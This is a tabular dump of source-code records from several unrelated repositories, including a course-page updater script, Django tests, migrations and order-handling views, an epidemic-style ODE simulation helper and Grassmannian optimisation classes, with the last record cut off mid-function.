max_stars_repo_path stringlengths 4 286 | max_stars_repo_name stringlengths 5 119 | max_stars_count int64 0 191k | id stringlengths 1 7 | content stringlengths 6 1.03M | content_cleaned stringlengths 6 1.03M | language stringclasses 111 values | language_score float64 0.03 1 | comments stringlengths 0 556k | edu_score float64 0.32 5.03 | edu_int_score int64 0 5 |
|---|---|---|---|---|---|---|---|---|---|---|
scripts/add_to_page.py | N9199/IIC3253-2021-1 | 0 | 6623551 | #!/usr/bin/python3
import os
import re
from datetime import datetime
os.chdir(os.path.dirname(__file__))
enunciados = list(map(lambda x: int(
x[9:-4]), filter(lambda x: x[-4:] == ".pdf", os.listdir("../pdfs/Enunciados"))))
soluciones = list(map(lambda x: int(
x[8:-4]), filter(lambda x: x[-4:] == ".pdf", os.listdir("../pdfs/Soluciones"))))
enunciados.sort()
soluciones.sort()
assert(len(enunciados) >= len(soluciones))
with open("../index.md") as f:
curr = f.read()
re1 = re.compile("Enunciado\d\d\.pdf")
re2 = re.compile("Solucion\d\d\.pdf")
re3 = re.compile("\\\\subtitle\{.*\}")
curr_enunciados = set(map(lambda x: int(x[9:-4]), re1.findall(curr)))
curr_soluciones = set(map(lambda x: int(x[8:-4]), re2.findall(curr)))
# Note: index 6 for update date, indices in [9,len(curr)-3] are for display list
curr = curr.split('\n')
delta = []
out = []
j = 0
for i in range(len(enunciados)):
while j+1 < len(soluciones) and int(enunciados[i]) > int(soluciones[j]):
j += 1
if int(enunciados[i]) not in curr_enunciados:
delta.append(f"Enunciado {enunciados[i]:02d}")
if soluciones and int(soluciones[j]) not in curr_soluciones:
delta.append(f"Solución {soluciones[j]:02d}")
with open(f"../pdfs/Ayudantias/{enunciados[i]:02d}.tex") as f:
temp1 = list(
map(lambda x: x[10:-1], re3.findall(f.read())))[0]
if soluciones and enunciados[i] == soluciones[j]:
temp = f"- Ayudantia {enunciados[i]:02d} ({temp1}) - [Enunciado](pdfs/Enunciados/Enunciado{enunciados[i]:02d}.pdf) - [Solución](pdfs/Soluciones/Solucion{soluciones[j]:02d}.pdf)"
else:
temp = f"- Ayudantia {enunciados[i]:02d} ({temp1}) - [Enunciado](pdfs/Enunciados/Enunciado{enunciados[i]:02d}.pdf)"
out.append(temp)
curr[6] = f"Última actualización: {datetime.today().strftime('%d/%m')} ({', '.join(delta)})"
curr = curr[:10]+out+curr[-3:]
with open("../index.md", 'w') as f:
f.write('\n'.join(curr)) | #!/usr/bin/python3
import os
import re
from datetime import datetime
os.chdir(os.path.dirname(__file__))
enunciados = list(map(lambda x: int(
x[9:-4]), filter(lambda x: x[-4:] == ".pdf", os.listdir("../pdfs/Enunciados"))))
soluciones = list(map(lambda x: int(
x[8:-4]), filter(lambda x: x[-4:] == ".pdf", os.listdir("../pdfs/Soluciones"))))
enunciados.sort()
soluciones.sort()
assert(len(enunciados) >= len(soluciones))
with open("../index.md") as f:
curr = f.read()
re1 = re.compile("Enunciado\d\d\.pdf")
re2 = re.compile("Solucion\d\d\.pdf")
re3 = re.compile("\\\\subtitle\{.*\}")
curr_enunciados = set(map(lambda x: int(x[9:-4]), re1.findall(curr)))
curr_soluciones = set(map(lambda x: int(x[8:-4]), re2.findall(curr)))
# Note: index 6 for update date, indices in [9,len(curr)-3] are for display list
curr = curr.split('\n')
delta = []
out = []
j = 0
for i in range(len(enunciados)):
while j+1 < len(soluciones) and int(enunciados[i]) > int(soluciones[j]):
j += 1
if int(enunciados[i]) not in curr_enunciados:
delta.append(f"Enunciado {enunciados[i]:02d}")
if soluciones and int(soluciones[j]) not in curr_soluciones:
delta.append(f"Solución {soluciones[j]:02d}")
with open(f"../pdfs/Ayudantias/{enunciados[i]:02d}.tex") as f:
temp1 = list(
map(lambda x: x[10:-1], re3.findall(f.read())))[0]
if soluciones and enunciados[i] == soluciones[j]:
temp = f"- Ayudantia {enunciados[i]:02d} ({temp1}) - [Enunciado](pdfs/Enunciados/Enunciado{enunciados[i]:02d}.pdf) - [Solución](pdfs/Soluciones/Solucion{soluciones[j]:02d}.pdf)"
else:
temp = f"- Ayudantia {enunciados[i]:02d} ({temp1}) - [Enunciado](pdfs/Enunciados/Enunciado{enunciados[i]:02d}.pdf)"
out.append(temp)
curr[6] = f"Última actualización: {datetime.today().strftime('%d/%m')} ({', '.join(delta)})"
curr = curr[:10]+out+curr[-3:]
with open("../index.md", 'w') as f:
f.write('\n'.join(curr)) | en | 0.507772 | #!/usr/bin/python3 # Note: index 6 for update date, indices in [9,len(curr)-3] are for display list | 2.467906 | 2 |
dof_conf/core/tests/test_views.py | DevOfFuture/dof-conf | 3 | 6623552 | <filename>dof_conf/core/tests/test_views.py
from django.shortcuts import reverse
from dof_conf.core.tests import TestCase
class TestHome(TestCase):
def test_should_render(self):
url = reverse('core:home')
response = self.get(url)
self.assertEqual(response.status_code, 200)
self.assertInContext('speakers')
self.assertInContext('schedule')
self.assertInContext('reservation_form')
class TestReservations(TestCase):
def setUp(self):
self.url = reverse('core:reservations')
def test_render(self):
response = self.get(self.url)
self.assertEqual(response.status_code, 200)
self.assertInContext('form')
| <filename>dof_conf/core/tests/test_views.py
from django.shortcuts import reverse
from dof_conf.core.tests import TestCase
class TestHome(TestCase):
def test_should_render(self):
url = reverse('core:home')
response = self.get(url)
self.assertEqual(response.status_code, 200)
self.assertInContext('speakers')
self.assertInContext('schedule')
self.assertInContext('reservation_form')
class TestReservations(TestCase):
def setUp(self):
self.url = reverse('core:reservations')
def test_render(self):
response = self.get(self.url)
self.assertEqual(response.status_code, 200)
self.assertInContext('form')
| none | 1 | 2.250946 | 2 | |
webapi/servidorapi/migrations/0001_initial.py | aecheverria40/proyectomoviles | 0 | 6623553 | <reponame>aecheverria40/proyectomoviles
# Generated by Django 2.1.3 on 2018-11-13 07:02
from django.conf import settings
from django.db import migrations, models
import django.db.models.deletion
class Migration(migrations.Migration):
initial = True
dependencies = [
migrations.swappable_dependency(settings.AUTH_USER_MODEL),
]
operations = [
migrations.CreateModel(
name='Alumno',
fields=[
('IdAlumno', models.CharField(max_length=100, primary_key=True, serialize=False)),
('apellidoPaternoAlumno', models.CharField(max_length=100)),
('apellidoMaternoAlumno', models.CharField(max_length=100)),
('nombreAlumno', models.CharField(max_length=100)),
('direccionAlumno', models.CharField(max_length=100)),
('telefonoAlumno', models.CharField(max_length=20)),
('emailAlumno', models.CharField(max_length=50)),
],
),
migrations.CreateModel(
name='Boleta',
fields=[
('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')),
('perteneceAlumno', models.ForeignKey(on_delete=django.db.models.deletion.CASCADE, to='servidorapi.Alumno')),
],
),
migrations.CreateModel(
name='Clase',
fields=[
('IdClase', models.CharField(max_length=100, primary_key=True, serialize=False)),
('Materia', models.CharField(max_length=100)),
('Horario', models.CharField(max_length=100)),
],
),
migrations.CreateModel(
name='Coordinador',
fields=[
('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')),
('apellidoPaternoCoordinador', models.CharField(max_length=100)),
('apellidoMaternoCoordinador', models.CharField(max_length=100)),
('nombreCoordinador', models.CharField(max_length=100)),
('direccionCoordinador', models.CharField(max_length=100)),
('telefonoCoordinador', models.CharField(max_length=20)),
('email_Coordinador', models.CharField(max_length=50)),
('IdCoordinador', models.OneToOneField(on_delete=django.db.models.deletion.CASCADE, to=settings.AUTH_USER_MODEL)),
],
options={
'verbose_name_plural': 'Coordinadores',
'verbose_name': 'Coordinador',
},
),
migrations.CreateModel(
name='Docente',
fields=[
('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')),
('apellidoPaternoDocente', models.CharField(max_length=100)),
('apellidoMaterno', models.CharField(max_length=100)),
('nombreDocente', models.CharField(max_length=100)),
('direccionDocente', models.CharField(max_length=100)),
('telefonoDocente', models.CharField(max_length=20)),
('emailDocente', models.CharField(max_length=50)),
('IdDocente', models.OneToOneField(on_delete=django.db.models.deletion.CASCADE, to=settings.AUTH_USER_MODEL)),
],
options={
'verbose_name_plural': 'Docentes',
'verbose_name': 'Docente',
},
),
migrations.CreateModel(
name='Escuela',
fields=[
('clave', models.CharField(max_length=100, primary_key=True, serialize=False)),
('direccion', models.CharField(max_length=100)),
('telefono', models.CharField(max_length=20)),
('director', models.CharField(max_length=100)),
('coordinador', models.ForeignKey(on_delete=django.db.models.deletion.CASCADE, to='servidorapi.Coordinador')),
],
),
migrations.CreateModel(
name='Parcial',
fields=[
('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')),
('calificacion', models.SmallIntegerField()),
('faltas', models.SmallIntegerField()),
('comentarios', models.CharField(max_length=100)),
('boletaPertenece', models.ForeignKey(on_delete=django.db.models.deletion.CASCADE, to='servidorapi.Boleta')),
],
),
migrations.AddField(
model_name='docente',
name='escuelas',
field=models.ManyToManyField(to='servidorapi.Escuela'),
),
migrations.AddField(
model_name='clase',
name='docenteImpartiendo',
field=models.ForeignKey(on_delete=django.db.models.deletion.CASCADE, to='servidorapi.Docente'),
),
migrations.AddField(
model_name='clase',
name='escuelaImparte',
field=models.ForeignKey(on_delete=django.db.models.deletion.CASCADE, to='servidorapi.Escuela'),
),
migrations.AddField(
model_name='boleta',
name='perteneceClase',
field=models.ForeignKey(on_delete=django.db.models.deletion.CASCADE, to='servidorapi.Clase'),
),
migrations.AddField(
model_name='alumno',
name='clases',
field=models.ManyToManyField(to='servidorapi.Clase'),
),
]
| # Generated by Django 2.1.3 on 2018-11-13 07:02
from django.conf import settings
from django.db import migrations, models
import django.db.models.deletion
class Migration(migrations.Migration):
initial = True
dependencies = [
migrations.swappable_dependency(settings.AUTH_USER_MODEL),
]
operations = [
migrations.CreateModel(
name='Alumno',
fields=[
('IdAlumno', models.CharField(max_length=100, primary_key=True, serialize=False)),
('apellidoPaternoAlumno', models.CharField(max_length=100)),
('apellidoMaternoAlumno', models.CharField(max_length=100)),
('nombreAlumno', models.CharField(max_length=100)),
('direccionAlumno', models.CharField(max_length=100)),
('telefonoAlumno', models.CharField(max_length=20)),
('emailAlumno', models.CharField(max_length=50)),
],
),
migrations.CreateModel(
name='Boleta',
fields=[
('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')),
('perteneceAlumno', models.ForeignKey(on_delete=django.db.models.deletion.CASCADE, to='servidorapi.Alumno')),
],
),
migrations.CreateModel(
name='Clase',
fields=[
('IdClase', models.CharField(max_length=100, primary_key=True, serialize=False)),
('Materia', models.CharField(max_length=100)),
('Horario', models.CharField(max_length=100)),
],
),
migrations.CreateModel(
name='Coordinador',
fields=[
('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')),
('apellidoPaternoCoordinador', models.CharField(max_length=100)),
('apellidoMaternoCoordinador', models.CharField(max_length=100)),
('nombreCoordinador', models.CharField(max_length=100)),
('direccionCoordinador', models.CharField(max_length=100)),
('telefonoCoordinador', models.CharField(max_length=20)),
('email_Coordinador', models.CharField(max_length=50)),
('IdCoordinador', models.OneToOneField(on_delete=django.db.models.deletion.CASCADE, to=settings.AUTH_USER_MODEL)),
],
options={
'verbose_name_plural': 'Coordinadores',
'verbose_name': 'Coordinador',
},
),
migrations.CreateModel(
name='Docente',
fields=[
('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')),
('apellidoPaternoDocente', models.CharField(max_length=100)),
('apellidoMaterno', models.CharField(max_length=100)),
('nombreDocente', models.CharField(max_length=100)),
('direccionDocente', models.CharField(max_length=100)),
('telefonoDocente', models.CharField(max_length=20)),
('emailDocente', models.CharField(max_length=50)),
('IdDocente', models.OneToOneField(on_delete=django.db.models.deletion.CASCADE, to=settings.AUTH_USER_MODEL)),
],
options={
'verbose_name_plural': 'Docentes',
'verbose_name': 'Docente',
},
),
migrations.CreateModel(
name='Escuela',
fields=[
('clave', models.CharField(max_length=100, primary_key=True, serialize=False)),
('direccion', models.CharField(max_length=100)),
('telefono', models.CharField(max_length=20)),
('director', models.CharField(max_length=100)),
('coordinador', models.ForeignKey(on_delete=django.db.models.deletion.CASCADE, to='servidorapi.Coordinador')),
],
),
migrations.CreateModel(
name='Parcial',
fields=[
('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')),
('calificacion', models.SmallIntegerField()),
('faltas', models.SmallIntegerField()),
('comentarios', models.CharField(max_length=100)),
('boletaPertenece', models.ForeignKey(on_delete=django.db.models.deletion.CASCADE, to='servidorapi.Boleta')),
],
),
migrations.AddField(
model_name='docente',
name='escuelas',
field=models.ManyToManyField(to='servidorapi.Escuela'),
),
migrations.AddField(
model_name='clase',
name='docenteImpartiendo',
field=models.ForeignKey(on_delete=django.db.models.deletion.CASCADE, to='servidorapi.Docente'),
),
migrations.AddField(
model_name='clase',
name='escuelaImparte',
field=models.ForeignKey(on_delete=django.db.models.deletion.CASCADE, to='servidorapi.Escuela'),
),
migrations.AddField(
model_name='boleta',
name='perteneceClase',
field=models.ForeignKey(on_delete=django.db.models.deletion.CASCADE, to='servidorapi.Clase'),
),
migrations.AddField(
model_name='alumno',
name='clases',
field=models.ManyToManyField(to='servidorapi.Clase'),
),
] | en | 0.738631 | # Generated by Django 2.1.3 on 2018-11-13 07:02 | 1.715448 | 2 |
core/calculators/tests/test_order_calculator.py | stanwood/traidoo-api | 3 | 6623554 | import itertools
from decimal import Decimal
import pytest
from core.calculators.order_calculator import OrderCalculatorMixin
pytestmark = pytest.mark.django_db
def test_item_price_calculation():
item = OrderCalculatorMixin.Item(amount=3, price=10, vat=20, count=2, seller=1)
price_value = item.value
assert price_value.netto == 3 * 10 * 2
assert price_value.brutto == 3 * 10 * 2 * 1.2
assert price_value.vat == 3 * 10 * 2 * 0.2
def test_total_calculation_error():
items = [
OrderCalculatorMixin.Item(
vat=7, price=9.48, amount=1, count=1.97, seller="traidoo"
),
OrderCalculatorMixin.Item(
vat=7, price=1.79, amount=5, count=1.83, seller="biogemuse"
),
]
gross = 0
items = sorted(items, key=lambda l: l.seller)
for seller_id, items in itertools.groupby(items, lambda item: item.seller):
gross += OrderCalculatorMixin.calculate_gross_value_of_items(items)
assert float(gross) == float(Decimal("37.52"))
def test_total_calculation_sort_by_vat_rate():
items = [
OrderCalculatorMixin.Item(
vat=7, price=13.5, amount=1, count=1, seller="traidoo"
),
OrderCalculatorMixin.Item(
vat=19, price=19.3, amount=1, count=1, seller="traidoo"
),
OrderCalculatorMixin.Item(
vat=7, price=119.7, amount=1, count=1, seller="traidoo"
),
]
mixin = OrderCalculatorMixin()
assert mixin.calculate_gross_value_of_items(items) == Decimal("165.49")
| import itertools
from decimal import Decimal
import pytest
from core.calculators.order_calculator import OrderCalculatorMixin
pytestmark = pytest.mark.django_db
def test_item_price_calculation():
item = OrderCalculatorMixin.Item(amount=3, price=10, vat=20, count=2, seller=1)
price_value = item.value
assert price_value.netto == 3 * 10 * 2
assert price_value.brutto == 3 * 10 * 2 * 1.2
assert price_value.vat == 3 * 10 * 2 * 0.2
def test_total_calculation_error():
items = [
OrderCalculatorMixin.Item(
vat=7, price=9.48, amount=1, count=1.97, seller="traidoo"
),
OrderCalculatorMixin.Item(
vat=7, price=1.79, amount=5, count=1.83, seller="biogemuse"
),
]
gross = 0
items = sorted(items, key=lambda l: l.seller)
for seller_id, items in itertools.groupby(items, lambda item: item.seller):
gross += OrderCalculatorMixin.calculate_gross_value_of_items(items)
assert float(gross) == float(Decimal("37.52"))
def test_total_calculation_sort_by_vat_rate():
items = [
OrderCalculatorMixin.Item(
vat=7, price=13.5, amount=1, count=1, seller="traidoo"
),
OrderCalculatorMixin.Item(
vat=19, price=19.3, amount=1, count=1, seller="traidoo"
),
OrderCalculatorMixin.Item(
vat=7, price=119.7, amount=1, count=1, seller="traidoo"
),
]
mixin = OrderCalculatorMixin()
assert mixin.calculate_gross_value_of_items(items) == Decimal("165.49")
| none | 1 | 2.462162 | 2 | |
orders/views.py | RohanIRathi/Product-Management-System | 0 | 6623555 | <gh_stars>0
from datetime import datetime
import json
from django.http import JsonResponse
from django.views.decorators.csrf import csrf_exempt
from home.models import User
from products.models import Product
from .models import Order, OrderProduct
# Create your views here.
def get_distributor_orders(request):
if request.method == 'GET':
user_id = request.session.decode(request.headers['Session'])['id']
try:
retailer_id = int(request.GET['retailer'])
except:
retailer_id = None
try:
distributor = User.objects.get(pk=user_id)
if distributor.is_superuser and distributor.is_staff:
orders = Order.objects.filter(DistributorId=distributor).order_by('-CreationDate')
if retailer_id:
retailer = User.objects.get(pk=retailer_id)
orders = orders.filter(RetailerId=retailer)
distributor_orders = [order.json() for order in orders]
return JsonResponse({'success': True, 'orders': distributor_orders}, status=200)
else:
return JsonResponse({'success': False, 'error': 'Access Denied'}, status=403)
except:
return JsonResponse({'success': False, 'error': 'User Does Not Exist'}, status=400)
return JsonResponse({'success': False, 'error': 'Method Not Allowed'}, status=405)
def get_retailer_orders(request):
if request.method == 'GET':
retailer_id = request.session.decode(request.headers['Session'])['id']
try:
distributor_id = request.GET['distributor']
except:
distributor_id = None
orders = Order.objects.filter(RetailerId=retailer_id).order_by('-CreationDate')
if distributor_id:
orders = orders.filter(DistributorId=distributor_id)
retailer_orders = [order.json() for order in orders]
return JsonResponse({'orders': retailer_orders, 'success': True}, status=200)
return JsonResponse({'success': False, 'error': 'Method Not Allowed'}, status=405)
def get_order_details(request, **kwargs):
if request.method == 'GET':
order_id = kwargs['order_id']
try:
order = Order.objects.get(pk=order_id)
return JsonResponse({'order': order.json(), 'success': True}, status=200)
except Order.DoesNotExist:
return JsonResponse({'success': False, 'error': 'Invalid Order Id'}, status=400)
except:
return JsonResponse({'success': False, 'error': 'Something Went Wrong'}, status=500)
return JsonResponse({'success': False, 'error': 'Method Not Allowed'}, status=405)
@csrf_exempt
def add_order(request):
if request.method == 'POST':
data = json.loads(request.body)
distributor = User.objects.get(pk=data['distributor'])
retailer = User.objects.get(pk=data['retailer'])
totalQuantity = data['totalQuantity']
totalAmount = data['totalAmount']
products = data['products']
product_list, products_to_update = [], []
order = Order(
DistributorId=distributor,
RetailerId=retailer,
TotalQuantity=totalQuantity,
TotalAmount=totalAmount
)
try:
order.save()
totalAmount, totalQuantity = 0, 0
for orderproduct in products:
product = Product.objects.get(pk=orderproduct['product'])
if product.Quantity < orderproduct['quantity']:
raise Exception('Insufficient Quantity')
order_product = OrderProduct(
Order=order,
Product=product,
Discount=orderproduct['discount'],
Quantity=orderproduct['quantity']
)
totalAmount = float(totalAmount) + float((float(product.Price) - (float(product.Price) * float(order_product.Discount) * 0.01)) * float(order_product.Quantity))
totalQuantity = float(totalQuantity) + float(order_product.Quantity)
product.Quantity -= order_product.Quantity
products_to_update.append(product)
product_list.append(order_product)
order.TotalAmount = totalAmount
order.TotalQuantity = totalQuantity
if float(retailer.PendingAmount) + float(order.TotalAmount) > float(retailer.CreditLimit):
raise Exception('Insufficient Credit Limit')
retailer.PendingAmount = float(retailer.PendingAmount) + float(order.TotalAmount)
OrderProduct.objects.bulk_create(product_list)
order.save()
retailer.save()
for product in products_to_update:
product.save()
return JsonResponse({'success': True, 'created order': order.json()}, status=200)
except Exception as e:
order.delete()
return JsonResponse({'success': False, 'error': str(e) or 'Something Went Wrong'}, status=500)
return JsonResponse({'success': False, 'error': 'Method Not Allowed'}, status=405)
def order_paid(request):
order_id = int(request.GET['order'])
session = request.session.decode(request.headers['Session'])
user_id = session['id']
try:
distributor = User.objects.get(pk=user_id)
if not distributor.is_superuser or not distributor.is_staff:
raise User.DoesNotExist()
order = Order.objects.get(pk=order_id)
if order.DistributorId != distributor:
raise Order.DoesNotExist()
order.PaymentDate = datetime.now()
order.save()
return JsonResponse({'success': True, 'message': 'Order marked as paid'}, status=200)
except User.DoesNotExist:
return JsonResponse({'success': False, 'error': 'Action Unauthoriezd'}, status=403)
except Order.DoesNotExist:
return JsonResponse({'success': False, 'error': 'Invalid Order Selected'}, status=404) | from datetime import datetime
import json
from django.http import JsonResponse
from django.views.decorators.csrf import csrf_exempt
from home.models import User
from products.models import Product
from .models import Order, OrderProduct
# Create your views here.
def get_distributor_orders(request):
if request.method == 'GET':
user_id = request.session.decode(request.headers['Session'])['id']
try:
retailer_id = int(request.GET['retailer'])
except:
retailer_id = None
try:
distributor = User.objects.get(pk=user_id)
if distributor.is_superuser and distributor.is_staff:
orders = Order.objects.filter(DistributorId=distributor).order_by('-CreationDate')
if retailer_id:
retailer = User.objects.get(pk=retailer_id)
orders = orders.filter(RetailerId=retailer)
distributor_orders = [order.json() for order in orders]
return JsonResponse({'success': True, 'orders': distributor_orders}, status=200)
else:
return JsonResponse({'success': False, 'error': 'Access Denied'}, status=403)
except:
return JsonResponse({'success': False, 'error': 'User Does Not Exist'}, status=400)
return JsonResponse({'success': False, 'error': 'Method Not Allowed'}, status=405)
def get_retailer_orders(request):
if request.method == 'GET':
retailer_id = request.session.decode(request.headers['Session'])['id']
try:
distributor_id = request.GET['distributor']
except:
distributor_id = None
orders = Order.objects.filter(RetailerId=retailer_id).order_by('-CreationDate')
if distributor_id:
orders = orders.filter(DistributorId=distributor_id)
retailer_orders = [order.json() for order in orders]
return JsonResponse({'orders': retailer_orders, 'success': True}, status=200)
return JsonResponse({'success': False, 'error': 'Method Not Allowed'}, status=405)
def get_order_details(request, **kwargs):
if request.method == 'GET':
order_id = kwargs['order_id']
try:
order = Order.objects.get(pk=order_id)
return JsonResponse({'order': order.json(), 'success': True}, status=200)
except Order.DoesNotExist:
return JsonResponse({'success': False, 'error': 'Invalid Order Id'}, status=400)
except:
return JsonResponse({'success': False, 'error': 'Something Went Wrong'}, status=500)
return JsonResponse({'success': False, 'error': 'Method Not Allowed'}, status=405)
@csrf_exempt
def add_order(request):
if request.method == 'POST':
data = json.loads(request.body)
distributor = User.objects.get(pk=data['distributor'])
retailer = User.objects.get(pk=data['retailer'])
totalQuantity = data['totalQuantity']
totalAmount = data['totalAmount']
products = data['products']
product_list, products_to_update = [], []
order = Order(
DistributorId=distributor,
RetailerId=retailer,
TotalQuantity=totalQuantity,
TotalAmount=totalAmount
)
try:
order.save()
totalAmount, totalQuantity = 0, 0
for orderproduct in products:
product = Product.objects.get(pk=orderproduct['product'])
if product.Quantity < orderproduct['quantity']:
raise Exception('Insufficient Quantity')
order_product = OrderProduct(
Order=order,
Product=product,
Discount=orderproduct['discount'],
Quantity=orderproduct['quantity']
)
totalAmount = float(totalAmount) + float((float(product.Price) - (float(product.Price) * float(order_product.Discount) * 0.01)) * float(order_product.Quantity))
totalQuantity = float(totalQuantity) + float(order_product.Quantity)
product.Quantity -= order_product.Quantity
products_to_update.append(product)
product_list.append(order_product)
order.TotalAmount = totalAmount
order.TotalQuantity = totalQuantity
if float(retailer.PendingAmount) + float(order.TotalAmount) > float(retailer.CreditLimit):
raise Exception('Insufficient Credit Limit')
retailer.PendingAmount = float(retailer.PendingAmount) + float(order.TotalAmount)
OrderProduct.objects.bulk_create(product_list)
order.save()
retailer.save()
for product in products_to_update:
product.save()
return JsonResponse({'success': True, 'created order': order.json()}, status=200)
except Exception as e:
order.delete()
return JsonResponse({'success': False, 'error': str(e) or 'Something Went Wrong'}, status=500)
return JsonResponse({'success': False, 'error': 'Method Not Allowed'}, status=405)
def order_paid(request):
order_id = int(request.GET['order'])
session = request.session.decode(request.headers['Session'])
user_id = session['id']
try:
distributor = User.objects.get(pk=user_id)
if not distributor.is_superuser or not distributor.is_staff:
raise User.DoesNotExist()
order = Order.objects.get(pk=order_id)
if order.DistributorId != distributor:
raise Order.DoesNotExist()
order.PaymentDate = datetime.now()
order.save()
return JsonResponse({'success': True, 'message': 'Order marked as paid'}, status=200)
except User.DoesNotExist:
return JsonResponse({'success': False, 'error': 'Action Unauthoriezd'}, status=403)
except Order.DoesNotExist:
return JsonResponse({'success': False, 'error': 'Invalid Order Selected'}, status=404) | en | 0.968116 | # Create your views here. | 2.074186 | 2 |
replica/core.py | TimeWz667/replica | 0 | 6623556 | import numpy as np
import pandas as pd
from scipy.integrate import solve_ivp
import os
import json
from numba import njit
__author__ = '<NAME>'
__all__ = ['Parameters', 'trm2dy', 'simulate', 'output_posterior']
@njit
def trm2dy(trm, y):
dy = np.zeros_like(y)
ns = len(y)
for src in range(ns):
for tar in range(ns):
flow = y[src] * trm[src, tar]
dy[src] -= flow
dy[tar] += flow
return dy
class Parameters:
def __init__(self, pars, transformed):
self.Pars = pars
self.Transformed = transformed
def __getitem__(self, item):
try:
return self.Pars[item]
except KeyError:
return self.Transformed[item]
def list_variables(self):
return list(self.Pars.keys()) + list(self.Transformed.keys())
def to_json(self):
return dict(self.Pars)
def simulate(model, pars, y0, t_out, t_warmup=200, dfe=None):
times = np.array(t_out)
time0 = min(times)
ys_wp = solve_ivp(model, [time0 - t_warmup, time0], y0, args=(pars, ), events=dfe, method="RK23")
if len(ys_wp.t_events[0]) > 0 or not ys_wp.success:
return None, None, {'succ': False, 'res': 'DFE reached'}
y0 = ys_wp.y[:, -1]
ys = solve_ivp(model, [time0, max(times)], y0, args=(pars,), events=dfe, dense_output=True)
if len(ys.t_events[0]) > 0 or not ys.success:
return None, None, {'succ': False, 'res': 'DFE reached'}
ms = pd.DataFrame([model.measure(t, ys.sol(t), pars) for t in times])
ms = ms.set_index('Time')
msg = {'succ': True}
return ys, ms, msg
def output_posterior(post, out_path):
if not os.path.exists(out_path):
os.makedirs(out_path)
with open(out_path + '/post.json', 'w') as f:
json.dump(post.to_json()['Posterior'], f)
post.DF.to_csv(out_path + '/post.csv')
# post.Message['Trace'].to_csv(out_path + '/post_trace.csv')
| import numpy as np
import pandas as pd
from scipy.integrate import solve_ivp
import os
import json
from numba import njit
__author__ = '<NAME>'
__all__ = ['Parameters', 'trm2dy', 'simulate', 'output_posterior']
@njit
def trm2dy(trm, y):
dy = np.zeros_like(y)
ns = len(y)
for src in range(ns):
for tar in range(ns):
flow = y[src] * trm[src, tar]
dy[src] -= flow
dy[tar] += flow
return dy
class Parameters:
def __init__(self, pars, transformed):
self.Pars = pars
self.Transformed = transformed
def __getitem__(self, item):
try:
return self.Pars[item]
except KeyError:
return self.Transformed[item]
def list_variables(self):
return list(self.Pars.keys()) + list(self.Transformed.keys())
def to_json(self):
return dict(self.Pars)
def simulate(model, pars, y0, t_out, t_warmup=200, dfe=None):
times = np.array(t_out)
time0 = min(times)
ys_wp = solve_ivp(model, [time0 - t_warmup, time0], y0, args=(pars, ), events=dfe, method="RK23")
if len(ys_wp.t_events[0]) > 0 or not ys_wp.success:
return None, None, {'succ': False, 'res': 'DFE reached'}
y0 = ys_wp.y[:, -1]
ys = solve_ivp(model, [time0, max(times)], y0, args=(pars,), events=dfe, dense_output=True)
if len(ys.t_events[0]) > 0 or not ys.success:
return None, None, {'succ': False, 'res': 'DFE reached'}
ms = pd.DataFrame([model.measure(t, ys.sol(t), pars) for t in times])
ms = ms.set_index('Time')
msg = {'succ': True}
return ys, ms, msg
def output_posterior(post, out_path):
if not os.path.exists(out_path):
os.makedirs(out_path)
with open(out_path + '/post.json', 'w') as f:
json.dump(post.to_json()['Posterior'], f)
post.DF.to_csv(out_path + '/post.csv')
# post.Message['Trace'].to_csv(out_path + '/post_trace.csv')
| en | 0.230896 | # post.Message['Trace'].to_csv(out_path + '/post_trace.csv') | 2.253931 | 2 |
grslra/spaces.py | clemenshage/grslra | 0 | 6623557 | <gh_stars>0
from abc import ABCMeta, abstractmethod
import numpy as np
from tools import msin, mcos
class SpaceMeta:
__metaclass__ = ABCMeta
@abstractmethod
def get_G(self, grad, X):
# this function returns the projected gradient
pass
@abstractmethod
def get_H(self, G, gamma, tauH):
# this function computes the search direction from the current projected gradient and the past search direction
pass
@abstractmethod
def update_variable(self, X, H, t):
# this function updates the variable using the search direction and the step size
pass
@abstractmethod
def transport(self, Eta, X, H, t):
# this function transports an element along H into the tangent space at distance t
pass
class Euclidean(SpaceMeta):
def __init__(self):
pass
def get_G(self, grad, X):
return grad
def get_H(self, G, gamma, tauH):
H = -G + gamma * tauH
return H
def update_variable(self, X, H, t):
return X + t * H
def transport(self, Eta, X, H, t):
return Eta
class GrassmannianSVD(SpaceMeta):
# see Edelman et al.
def __init__(self, m, k):
self.U_H = np.zeros((m, k))
self.Sigma_H = np.zeros((k, k))
self.V_H = np.zeros((k, k))
def get_G(self, grad, X):
G = grad - np.dot(X, np.dot(X.T, grad))
return G
def get_H(self, G, gamma, tauH):
H = -G + gamma * tauH
try:
self.U_H, sigmas_H, V_H_T = np.linalg.svd(H, full_matrices=False)
self.Sigma_H[:, :] = np.diag(sigmas_H)
self.V_H = V_H_T.T
except:
print "Problem is badly conditioned. Aborting..."
exit()
return H
def update_variable(self, X, H, t):
X_t = np.dot(np.dot(X, np.dot(self.V_H, mcos(self.Sigma_H * t))) + np.dot(self.U_H, msin(self.Sigma_H * t)), self.V_H.T)
return X_t
def transport(self, Eta, X, H, t):
tauEta = Eta - np.dot(np.dot(np.dot(X, self.V_H), msin(self.Sigma_H * t)) + np.dot(self.U_H, (np.eye(X.shape[1]) - mcos(self.Sigma_H * t))), np.dot(self.U_H.T, Eta))
return tauEta
class GrassmannianSVDrank1(SpaceMeta):
# see GROUSE method by Balzano et al.
def __init__(self, m, k):
self.u_H = np.zeros((m,))
self.alpha = 0
self.sigma_H = 0
self.v_H = np.zeros((k,))
self.beta = 0
def get_G(self, grad, X):
G = (grad[0] - np.dot(X, np.dot(X.T, grad[0])), grad[1])
return G
def get_H(self, G, gamma, tauH):
H = (-G[0], G[1])
self.u_H = H[0] / np.linalg.norm(H[0])
self.v_H = H[1] / np.linalg.norm(H[1])
self.sigma_H = np.linalg.norm(H[0]) * np.linalg.norm(H[1])
return H
def update_variable(self, X, H, t):
